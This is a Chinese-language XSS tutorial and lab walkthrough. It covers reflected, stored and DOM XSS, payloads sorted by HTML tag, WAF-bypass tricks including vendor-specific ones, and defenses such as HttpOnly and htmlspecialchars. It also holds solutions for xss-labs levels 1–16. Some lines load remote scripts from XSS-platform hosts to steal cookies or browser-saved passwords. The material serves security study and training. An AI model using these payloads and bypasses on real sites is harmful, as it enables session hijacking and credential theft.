XSS
XSS
ccbXSS
概述
XSS 攻击全称跨站脚本攻击Cross Site Scripting。是指用户在 Web 页面中提交恶意脚本,从而使浏览包含恶意脚本的页面的用户在不知情的情况下执行该脚本,导致被攻击的行为。通常出现在搜索框、留言板、评论区等地方。
与 SQL 注入类似,XSS 也是利用提交恶意信息来实现攻击效果的攻击行为。但是 XSS 一般提交的是 Javascript 脚本,运行在 Web 前端,也就是用户的浏览器;而 SQL 注入提交的 SQL 指令是在后台数据库服务器执行。所以两者攻击的对象是不一样的。
攻击流程如下:
- 攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。
- 诱使受害者打开受到攻击的服务器URL。
- 受害者在Web浏览器中打开URL,恶意脚本执行。
本质:前端对于用户提交的参数没有审查就用于页面加载;
产生层面:前端,浏览器;攻击目标是通过前端脚本获取用户的数据。
XSS常用的函数类:输出类:echo printf print print_r sprintf die var-dump var_export
攻击成功与否受浏览器内核影响。一些高版本浏览器内核会主动过滤恶意脚本,阻止XSS攻击。
通常,在XSS攻击中,攻击者会通过邮件或其他方式诱使用户点击包含恶意代码的链接,例如攻击者通过E-mail向用户发送一个包含恶意代码的网站home.com,用户点击链接后,浏览器会在用户毫不知情的情况下执行链接中包含的恶意代码,将用户与home.com交互的Cookie和Session等信息发送给攻击者,攻击者拿到这些数据之后,就会伪装成用户与真正的网站进行会话,从事非法活动,其过程如下图所示。
危害
受JS脚本的功能决定。
挂马、挖矿
盗取用户Cookie。
DOS(拒绝服务)客户端浏览器。
钓鱼攻击,高级的钓鱼技巧。
恶意篡改页面。
劫持用户Web行为,甚至进一步渗透内网。
爆发Web2.0蠕虫。
蠕虫式的DDoS攻击。
蠕虫式挂马攻击、植入广告,或者发送垃圾信息、刷浏量、破坏网上数据
其它安全问题
常用攻击语句
一般会借助HTML标签的一些触发事件来执行攻击脚本。
script标签
在 HTML 页面中插入一段 JavaScript:
<script>alert(1)</script>
img标签
img标签支持 onerror 事件属性,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件。利用onerror的特性来完成XSS。
1
2<img src=x onerror=alert(1)>
<img src=x onerror=javascript:alert(1)>svg标签
svg标签支持 onload 时间属性,页面结束加载之后触发。
<svg onload=alert(1)>
超链接标签
解析href所指链接,此处作用是发生动作时执行一段javascript代码。
<a href=javascript:alert(1)></a>
audio标签
1
2<audio src=x onerror=alert(1)>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>video标签
<video src=x onerror=prompt(1);>
div标签
1
2<div style="width:expression(alert(/1/))">1</div> ie浏览器执行
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv> url编码绕过math标签
1
2<math><a/xlink:href=javascript:prompt(1)>Xss
<math href="javascript:javascript:alert(1)">Xss</math>button标签
1
2<button onfocus=alert(1) autofocus>
<button/onclick=alert(1) >xss</button>keygen标签
1
2<keygen/onfocus=prompt(1);>
<keygen onfocus=javascript:alert(1) autofocus>object标签
1
2
3
4
5<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
base64
编码:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg
解码:<script>alert(1)</script>iframe标签
1
2
3<IFRAME width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fIFRAME>
<iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d">
<iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>
分类
反弹型 XSS(非持续型)
过程:参数x=xss 发包 => 携带该参数执行index.php(XSS在前端执行)=> 回包
反射型 XSS 是指恶意的攻击脚本包含在 URL 中,只有当用户主动访问了包含恶意脚本的 URL,脚本才会被成功执行。反射型的攻击,攻击脚本经过后台服务器,但是不会写入网站的数据库,是一次性的攻击,所以黑客一般需要诱骗用户点击包含攻击脚本的 URL(钓鱼邮件),才能攻击成功。
比如在get请求中构造攻击语句,输出用户在该网站的cookie:
?name="><script>alert(document.cookie)</script>
(name参数为数值的话就不加引号)
该语句输出到页面的HTML就变为:
1 | <input type="text" name="name" value=""><script>alert(document.cookie)</script>"> |
存储型 XSS(持续型)
过程:参数x=xss 发包 => 携带该参数执行index.php => XSS被写入数据库 => 他人访问页面执行index.php => 回包(XSS在前端被执行)
存储型 XSS 则是把攻击脚本提交到网站 后台数据库,只要有人访问了显示该数据内容的页面,就会被攻击。存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,可能存在于一些我们信任的网站,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
相对于反射型,存储型的 XSS 成功率更高。
比如,下面的网站有留言板功能,尝试在 Name框或者Message 框提交弹窗脚本输出当前 cookie,可以构造如下XSS攻击语句<script>alert(document.cookie)</script>
,网站在回显我的留言时XSS脚本就会在HTML中执行。
DOM 型 XSS(DOM)
过程:参数x=xss 然后发包 => 携带该参数执行本地浏览器前端代码(XSS在前端被执行) (=> index.php => 回包)
DOM
DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。根据用户在页面的操作或提交的参数,对网页进行动态更新,比如点击查看更多、在页面输入内容后立即回显在页面等。
HTML的标签都是节点,而这些节点组成了DOM的整体结构——节点树。 通过HTML DOM,树中的所有节点均可通过JavaScript进行访问。所有HTML元素(节
点)均可被修改,也可以创建或删除节点。HTML DOM树结构如图所示。在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。
DOM型XSS
DOM 型 XSS 是指 基于DOM文档对象模型 的 XSS 攻击,攻击的输出点就位于 DOM 对象上,如
document.referer
、document.write
等等,是一种特殊类型的反射型XSS。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,在本地浏览器前端HTML执行攻击脚本,导致存在XSS漏洞。
举例
比如下面的网站功能是选择一种语言,会以get请求接收参数default,并且在前端回显(会在HTML中用到所提交的参数)。查看页面HTML代码,发现default的值被用于以
document.write
的方式来写入网页,使网页显示所选的language,由此确定页面的XSS方式为DOM型。(对客户端网页进行了访问和更新)在 URL 后直接加入攻击脚本
<script>alert(document.cookie)</script>
,即可实现攻击。有时需要查看页面HTML源码,考虑闭合语法。比如当使用
img
标签进行攻击时,攻击脚本应为></option></select><img src=1 onerror=alert(document.cookie)>
,以闭合select和option标签。
防御
比如用户输入的参数”$var”被用于如下代码,造成DOM型的XSS。
1
2
3
4<script>
var x="$var";
document.write("<a href='"+x+"' >test</a>");
</script>为了防御这种XSS,可以采用编码的方法,在”$var” 输出到<script>时,应该执行一次javascriptEncode;其次,在document.write输出到HTML页面时,要分具体情况看待:如果是输出到事件或者脚本,则要再做一次javascriptEncode;如果是输出到HTML内容或者属性,则要做一次HtmlEncode,以免又被自动解码。(执行两次编码)
也就是说,从javascript输出到HTML页面,也相当于一次XSS输出的过程,需要分语境使用不同的编码函数。
XSS攻击过程
寻找目标网站
有注册输入栏、留言板之类的网站,能回显输入(也就是会在HTML中用到输入的参数)。
尝试提交攻击脚本,探查过滤规则,确定可行的攻击语句
可以使用自己构造的攻击语句;
也可以搜索XSS平台,借助XSS平台构造所需要功能的攻击语句。比如xsshs.cn、xss8.cc等。一般平台构造的语句中含有平台的链接,受害者执行攻击脚本中的该链接,导致XSS,然后在XSS平台可以查看到相应的执行结果。
查看网页元素,确定脚本执行情况
攻击脚本执行成功后,查看XSS平台,获取到浏览器信息,比如cookie。
根据获得的信息进行进一步攻击
比如是网站的管理员执行了XSS,受到攻击,那么就能获取到管理员的cookie。
用户凭据:通过凭据可以判断对方身份信息
cookie:存储本地,存活时间较长,常用于小中型网站(账号登录)
session:会话,存储服务器(占用服务器资源),存活时间较短,常用于大型网站(支付)
XSS自动化工具
XSStrike
https://github.com/s0md3v/XSStrike
XSStrike 主要支持反射和 DOM XSS,支持扫描;多线程爬虫;Context 分析;可配置的核心;检测和规避 WAF;老旧的 JS 库扫描;智能 payload 生成器;手工制作的 HTML & JavaScript 解析器;强大的 fuzzing 引擎;盲打 XSS 支持;高效的工作流;完整的 HTTP 支持;Bruteforce payloads 支持;Payload 编码。
XSStrike常用命令:
1 | -h, --help //显示帮助信息 |
使用流程:
- 运行工具
fuzzer攻击语句扫描
确定网站会过滤哪些语句,哪些语句又不会被拦截。
—offline说明waf是离线的状态,这里是因为该工具为外国开发,识别不到安全狗。
—passed为没有拦截,filtered为有过滤
测试扫描结果
选择攻击语句
选择一个不会被拦截的XSS攻击语句,
在浏览器中进行攻击
有可能出现请求过于频繁,被网站拦截
—对于拦截,请求频繁被cc攻击拦截后,重启靶场phpStudy即可
—实际进行网站测试时,可以现在本地搭建环境,测试那些语句不会拦截在进行漏洞测试
—还有一种方法:用代理(比较麻烦)
或者直接自动攻击:
配合字典进行fuzz模糊测试:
xssfuzz在线fuzz工具
https://xssfuzzer.com/fuzzer.html
用于自动生成各种XSS攻击payload:
BP配合fuzzDicts进行攻击:
https://github.com/TheKingOfDuck/fuzzDicts
name参数作为变量:
选择字典文件:
不同的执行结果,返回的网页数据包长度会不同,这里数据包更大的表示XSS攻击失败:
xwaf
http://www.freebuf.com/news/127001.html
xwaf是一个python写的waf自动绕过工具。上一个版本是bypass_waf,xwaf相比bypass_waf更智能,可无人干预,自动暴破waf。
XSS防护建议
代码过滤(黑名单)
包括URL、查询关键字、HTTP头、POST 数据等,仅接受指定长度范围、格式适当、符合预期的内容,对其他不符合预期的内容一律进行过滤。
HttpOnly
https://www.oschina.net/question/100267_65116
如果您在cookie中设置了HttpOnly属性,那么 通过js脚本将无法读取到cookie信息(唯一的作用),这样能有效的防止XSS攻击,但是并不能防止xss漏洞,只能是防止cookie被盗取。
一般除了开启 httponly,还会同时将用户所提供的内容输入输出进行过滤,许多语言都有提供对HTML的过滤。
对于PHP而言:https://www.zuimoge.com/212.html
可以在php.ini文件内修改
session.cookie_httponly=True
,可以在网页php代码中开启ini_set("session.cookie_httponly", 1)
,还可以在输入输出进行关键字、大小写、特殊符号过滤等等。比如PHP的htmlentities()和htmlspecialchars()这两个函数可以把字符转换为 HTML 实体,使得攻击代码失效。ASP的Server.HTMLEncode()对一段指定的字符串应用 HTML 编码。对于Java而言(ESAPI):https://www.cnblogs.com/baixiansheng/p/9001522.html
ESAPI是一个Apache开发的安全组件,首先应当配置过滤器(注意在过滤器中chain.doFilter(..)方法中的Request对象进行包装,在包装类中对请求参数进行筛选操作)。其次将过滤器注册到web.xml文件中;最后配置Request的包装类,在其中对请求信息进行过滤。
可以选择使用CSF(Content Security Policy)安全策略:CSF是一种白名单防御策略,所有不在名单内的资源都不被信任,有效的防止了通过外部的标签、脚本、JS文件等资源的入侵形式。
WAF
HttpOnly的绕过
若浏览器未保存帐号密码
利用表单劫持,得到用户输入的账号密码,并抄送到XSS平台上去,再应用到XSS攻击中。
前提条件1:明文密码;前提条件2:XSS存在于登录框才行,比较鸡肋
若浏览器保存帐号密码
浏览器读取帐号密码。根据表单配置XSS平台,然后写入XSS代码。
确定注册时的表单属性信息:
在XSS平台创建一个项目,点击配置,选择获取浏览器保存的账号密码:
按照网站的表单信息填写相应的属性:
配置完成后,按照XSS平台提供的攻击语句在浏览器执行攻击,比如
<sCRiPt sRC=//xsshs.cn/9TUt></sCrIpT>
。
常规WAF绕过思路
常见WAF过滤的标签:
1 | <script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> |
黑名单(大小写绕过)
过滤单引号、双引号、<、>、on开头的单词等非法字符。
比如过滤script,但是没有考虑大小写:
<SCRIPT>alert(document.cookie)</SCRIPT>
删除黑名单字段(重复数据绕过)
尝试在 <script>
中再嵌套一个 <script>
绕过:
<scr<script>ipt>alert(document.cookie)</SCRIPT>
特殊符号干扰
引号闭合参数,不要>
如果对<>进行了过滤,无法使用,可以用引号闭合链接(对于来自XSS平台的含有XSS的恶意链接)。
比如
<script src='https://xxs8.cc/xxxx'
是有可能成功攻击的。/
干扰</img src="#" onerror="javascript:alert(1)"sbjkdsbfjeb#>
标签语法替换
使用代码 $name = preg_replace( '/<(.\*)s(.\*)c(.\*)r(.\*)i(.\*)p(.\*)t/i', '', $_GET[ 'name' ] )
,.
代表任意字符,*
代表匹配前一个字符0或无限次。其中preg_replace
函数可以调用正则表达式,进行 script 的逐字检查,并通过 /i
来不区分大小写。
但是上述代码只考虑了script标签的XSS,其实 JS 脚本不仅仅可以在 <script>
标签中使用,通过 <img>
标签中 onerror
行为也可以调用 JS 脚本。
提交 <img src=1 onerror=alert(document.cookie)>
,攻击成功。
也可尝试更多其他标签,比如<a>
、<svg>
、<audio>
等。
字符长度限制绕过
如果只是在浏览器前端进行的字符长度限制,那么要么禁用或者修改前端的相关JS脚本,要么绕过前端在 Burpsuite 中修改数据包就可以轻松绕过限制。
提交方式更改
get不行,换post。
比如安全狗的部分拦截仅针对URL(get)进行检测。
更换为post提交后payload成功执行:
有时也可以选择 HTTP 头部进行注入:
Referer表示本网页的上一个URL,这里的攻击语句首先使用引号闭合语法,然后定义type为text,使得alert(1)能够显示。
攻击成功,网页上出现弹框:
垃圾数据溢出
在脚本末尾加上大量无关字符,导致过滤条件失效。注意最后要加上#注释、或者//、或者–+,需要自己试(特殊符号干扰)。
比如<script src='https://xxs8.cc/xxxx'fhdhbgdioslbdvs#>
编码转换(编码绕过)
对输入到页面的数据进行编码转换,使得攻击语句的某些特殊字符被编码,攻击失效。
绕过时,对攻击语句也主动进行编码即可,网站发现这些字符已经被编码,会自动对某些编码进行解码。。
包括JS编码,HTML实体编码,URL编码。
JS编码
JS提供了四种编码策略:
三个八进制数字,如果个数不够,在前面补0,比如”e”的编码为”\145”;
两个十六进制数字,如果个数不够,在前面补0,比如”e”的编码为”\x65”;
四个十六进制数字,如果个数不够,在前面补0,比如”e”的编码为”\u005”;
对于一些控制字符,使用特殊的C类型的转义风格。
HTML实体编码
命名实体:以&开头,以分号结尾,例如
<
的编码是<
。字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为
&#数值;
,例如<
的编码是<
和<
。URL编码
由于网页会对URL进行一次解码,所以使用URL编码绕过时有时需要进行两次编码。所以在使用编码测试时,需要考虑HTML的渲染顺序,选择合适的编码方式进行测试。
针对不同的WAF产品,有不同的编码绕过方法:https://bbs.pediy.com/thread-250852.htm
针对Cloudflare,使用无空格filler绕过:<a"/onclick=(confirm)()>click\
针对Worldfence,使用数字符编码绕过:<a/href=javascript:alert()>click\
针对Barracuda,使用数字符编码绕过:<a/href=Java%0a%ed%09script:alert()>click\
针对Akamai,使用黑名单中缺少的event handler;混淆函数调用:<d3v/onauxclick-[2]. some(conf irm)>click\
内置函数转义(难绕过)
使用 htmlspecialchars
函数对提交的信息进行 转义。该函数会将所有特殊字符转义为 HTML 实体。比如把 <
转义为 <
,把 >
转义为 >
。只要正确的使用该函数,XSS 攻击就可以彻底杜绝。
实验
https://github.com/do0dl3/xss-labs
xss-labs通关大合集:
https://blog.csdn.net/wo41ge/article/details/107459332、
https://blog.csdn.net/m0_62879498/article/details/123592092
level 1
所输入name的值会回显在<h2></h2>
中,因此直接插入script:
1 | ?name=<script>alert(1)</script> |
上述语句是标准模板,后面的关卡均可以先输入上述内容,来判断所使用的防御手段。
level 2
在<h2></h2>
中的内容被实体编码了,但在Input中没有:
1 | <input name=keyword value="ccb"> |
因此在value中插入script,但是注意">
闭合以及注释。
1 | ?name="><script>alert(1)</script>// |
level 3
在<h2></h2>
以及<input>
中的内容均被实体编码,无法使用<>。
因此,使用<input>
的特殊事件来触发script,input的<>可以不闭合。
1 | ?name=' onfocus=javascript:alert(1)// |
输入后,再点击输入框即可出发onfocus事件。
level 4
第三关的单引号闭合换为双引号。
level 5
经过尝试,发现script、onfocus、οnmοuseοver 均被注释掉了。使用<a>
标签。
1 | ?name="><a href=javascript:alert(1)>ccb</a> |
level 6
经过尝试,发现script和href均被过滤。使用大小写绕过。
1 | ?name="><a Href=javascript:alert(1)>ccb</a> |
level 7
<input>
的value值未被实体编码,但是若提交的内容中有script、href会被替换为空。双写绕过。
1 | ?name="><a hrhrefef=javascrscriptipt:alert(1)>ccb</a> |
level 8
引号、<、>均被实体编码,href、script又被过滤,只能使用编码绕过。
将javascript:alert(1)
中的script转化为实体编码:
1 | javascript:alert(1) |
level 9
在第8关的基础上,强制输入的内容要带有http://
,不然报错。
1 | javascript:alert(`http://`) |
level 10
页面上没有输入框,检查源码发现有三个<input>
,尝试输入发现只有t_sort会回显。
1 | ?keyword=1&t_sort=ccb |
输入后,再点击页面即可触发onclick事件。
level 11
与第10关的区别是双引号、<>被实体编码了。
但是可以看到多了一个名为t_ref的input标签,该标签的值也无法通过get方法赋予。但是根据名称,猜测来自referer。抓包,修改referer,发现响应体中的t_ref确实与请求头的referer字段的值相同。
使用BP或者hackbar提交referer即可。
1 | referer:" type="" onclick=alert('xss')>// |
level 12
与第11关原理相同,只不过回显的字段从Referer换成了User-Agent。
1 | User-Agent:" type="" onclick=alert('xss')>// |
level 13
与第11关原理相同,只不过回显的字段从Referer换成了Cookie。
1 | Cookie: user=" type="" onclick=alert('xss')>// |
level 14
https://blog.csdn.net/qq_40929683/article/details/120422266
level 15
传入src参数的值会被用于ng-include
。
1 | ?src=ccb |
ng-include
指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。
ng-include如果单纯指定地址,必须要加引号
ng-include加载外部html,script标签中的内容不执行
ng-include加载外部html中含有style标签样式可以识别
ng-include 属性的值可以是一个表达式,返回一个文件名
默认情况下,包含的文件需要包含在同一个域名下。
尝试通用的攻击语句:
1 | ?src="<script>alert(1)</script> // |
发现双引号被过滤,<>被实体编码,只能使用其他XSS语句
1 | // 加载同一域名下的外部文件level1.php,同时传入参数name |
这样该页面就会包含level1.php,并传入name参数<img src=1 onerror=alert(1)>'
,由于在解析src时出错,所以触发onerror。
level 16
尝试如下语句:
1 | ?keyword=<script>alert(1)</script> |
发现script被注释,空格和/均被转义。
尝试使用%0A替换空格:
1 | ?keyword=<img%0asrc=1%0aonerror=alert(1)> |
level 17-20
flash XSS,与swf文件相关。